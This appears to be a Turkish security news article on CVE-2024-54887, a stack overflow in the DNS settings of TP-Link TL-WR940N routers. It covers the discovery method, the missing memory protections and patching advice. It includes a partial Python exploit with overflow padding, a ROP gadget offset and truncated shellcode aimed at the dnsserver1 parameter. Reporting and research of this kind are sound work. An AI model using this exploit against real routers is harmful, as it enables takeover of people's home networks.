TP-Link TL-WR940N yönlendiricisinde CVE-2024-54887 olarak tanımlanan ciddi bir kod yürütme güvenlik açığı, kavram kanıtlama (PoC) istismarının yayınlanmasının ardından yoğun incelemelerin odağı haline geldi.
Bu güvenlik açığı, saldırganların kimlik doğrulaması olmadan uzaktan cihazda rastgele kod yürütmesine olanak tanıyarak ağ güvenliği açısından önemli riskler oluşturur.
Aşağıdaki makalede güvenlik açığına, güvenlik açığından yararlanma geliştirme sürecine ve bunun kullanıcılar ve üreticiler için etkilerine genel bir bakış sunulmaktadır.
CVE-2024-54887’yi Anlamak
CVE-2024-54887 özellikle donanım sürüm 3 ve 4’ü çalıştıran TP-Link TL-WR940N yönlendiricilerini hedefliyor. Güvenlik açığı, özellikle IPv6 için DNS sunucusu ayarlarında HTTP parametrelerinin hatalı doğrulanmasından kaynaklanıyor.
Investigate Real-World Malicious Links & Phishing Attacks With Threat Intelligence Lookup - Try for Free
Güvenlik açığı bulunan dnsserver1 ve dnsserver2 parametreleri, yığın arabellek taşması yoluyla kullanılabilir; bu, kritik bellek bölgelerinin üzerine yazılarak cihazın yürütme akışı üzerinde kontrol sağlanmasına neden olabilir.


Bu güvenlik açığının keşfi, tersine mühendislik ve istismar geliştirme konularına duyulan ilgiden kaynaklandı. Araştırmacılar, Firmadyne gibi araçları kullanarak yönlendiricinin donanım yazılımını taklit ederek dinamik ve statik analize olanak sağladılar.
InfoSec in Medium’a göre Statik analiz, yönlendirici donanım yazılımının NX (Yürütülebilir Olmayan) ve PIE (Konumdan Bağımsız Yürütülebilir) gibi önemli korumalardan yoksun olduğunu ortaya çıkardı ve bu da kötüye kullanım için olası yolları gösteriyor.
Araştırmacı, yönlendiricinin HTTP isteklerindeki çoğu parametrenin temel dize uzunluğu kontrollerini içerdiğini, ancak DNS sunucusu parametrelerinin içermediğini belirledi. Saldırgan, büyük boyutlu istekler göndererek yürütme akışını manipüle edebilir ve bu da yığın taşmasına neden olabilir.
Geliştirmeden Yararlanma
Bu istismar, DNS sunucusu ayarları için kullanılan ara belleğin taşmasını amaçlayan hazırlanmış bir HTTP isteği oluşturularak geliştirildi. İşte Python betiğinin istismarı kapsayan temel bileşeni:
#!/usr/bin/python3
import urllib.parse
import requests
import struct
def exploit(session_url, auth):
print("[+] Sending exploit to: " + session_url + "Wan6to4TunnelCfgRpm.htm")
libc_base = 0x2aae2000 # Base address for libc
shellcode = b"\x24\x0f\xff\xfa\x01\xe0\x78..." # Truncated for brevity
# Craft payload
payload = 'A' * 596 # Buffer overflow
# NOP sled for shellcode
payload += b'\x27\x70\xc0\x01' # NOP instruction
# Adding gadgets and shellcode
payload += struct.pack(">I", libc_base + 0x3680c) # Gadget for execution control
payload += b"B" * 40 # Padding to shellcode
payload += shellcode # Actual shellcode
# Complete URL with exploit
exploit_url = session_url + "Wan6to4TunnelCfgRpm.htm?dnsserver1=" + payload
requests.get(exploit_url, headers={"Cookie": auth})
# Additional functions for authentication, etc. go here...
Bu kodda:
- Exploit işlevi, arabellek taşmasını istismar etmek üzere tasarlanmış dikkatle yapılandırılmış bir veri yükünü içeren bir HTTP isteği oluşturur.
- Yük, arabelleği doldurmak için bir dizi ‘A’ karakteriyle başlar, bir NOP kızağı içerir ve son olarak yönlendiriciye uzaktan erişim sağlayacak kabuk kodunu içerir.
Geri Dönüş Odaklı Programlamayı (ROP) Kullanmak
Cihazda ASLR (Adres Alanı Düzeni Rastgeleleştirme) eksikliği göz önüne alındığında, istismar, kullanım sonrası kontrol akışını sürdürmek için ROP’tan yararlanır.
Saldırgan, çeşitli görevleri yerine getiren ve sonuçta kabuk kodunun yürütülmesine yol açan küçük talimat dizilerinden oluşan bir araçlar zinciri oluşturur.
Kritik araçlar, bir uyku fonksiyonundan sonra kabuk kodunun çağrılmasını kolaylaştırmak ve istismarın başarılı olması için zaman tanımak üzere düzenlenmiştir.
CVE-2024-54887’nin etkileri ciddidir. Saldırganlar, başarılı bir şekilde istismar edilirse, etkilenen cihazlar üzerinde tam kontrol sahibi olabilir ve bu da potansiyel veri ihlallerine ve bağlı ağlara yetkisiz erişime yol açabilir. Kullanıcılara şunları yapmaları tavsiye edilir:
- Donanım Yazılımını Güncelle: TP-Link’ten en son cihaz yazılımı güncellemelerini kontrol edin ve bunları hemen uygulayın.
- Güvenliği Güçlendirin: Güçlü şifreler kullanın ve uzaktan yönetim gibi cihazın açığa çıkmasına neden olabilecek özellikleri devre dışı bırakın.
- Ağ Etkinliğini İzleyin: Olağandışı etkinlik açısından ağ trafiğini düzenli olarak inceleyin.
CVE-2024-54887’ye yönelik PoC istismarının yayımlanması, yaygın olarak kullanılan tüketici cihazlarında bulunabilecek güvenlik açıklarına dair düşündürücü bir hatırlatmadır.
Tehdit ortamı geliştikçe kullanıcıların ve üreticilerin tetikte kalması gerekiyor. Güvenlik, potansiyel istismarlara karşı koruma sağlamak ve kişisel ve kurumsal ağların güvenliğini sağlamak için işbirlikçi bir çaba olmalıdır.
Jenkins & Jira’yı Kullanarak Uygulama Güvenliğini CI/CD İş Akışlarınıza Entegre Etme -> Ücretsiz Web Semineri